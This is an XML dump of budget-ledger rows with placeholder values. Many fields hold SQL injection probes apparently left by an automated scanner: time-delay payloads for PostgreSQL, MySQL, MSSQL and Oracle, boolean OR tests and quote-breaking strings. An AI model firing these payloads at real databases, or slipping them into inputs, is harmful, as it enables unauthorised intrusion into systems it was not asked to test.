<row _id="1"><ledger_type>1</ledger_type><cost_center_type>10Df4tPWo') OR 992=(SELECT 992 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1VPZiRrSq' OR 38=(SELECT 38 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1)) OR 478=(SELECT 478 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1) OR 804=(SELECT 804 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMURIBUthk5')) OR 873=(SELECT 873 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=26</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select 198766*667891 from DUAL)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1����%2527%2522\'\"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=25 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1'"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1 OR 838=(SELECT 838 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1 OR 677=(SELECT 677 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941020"XOR(94102*if(now()=sysdate(),sleep(15),0))XOR"Z</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=25 or 'PVK7emFj'='</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUgEh8iGhQ</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>@@i4kIC</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1����%2527%2522\'\"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1 OR 643=(SELECT 643 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>15kUDUbH7'; waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1); waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1; waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>@@x8Nlo</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1); waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=26 or "bHiq1XOz"="</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=26 or 'AMJ34MZH'='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=26</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
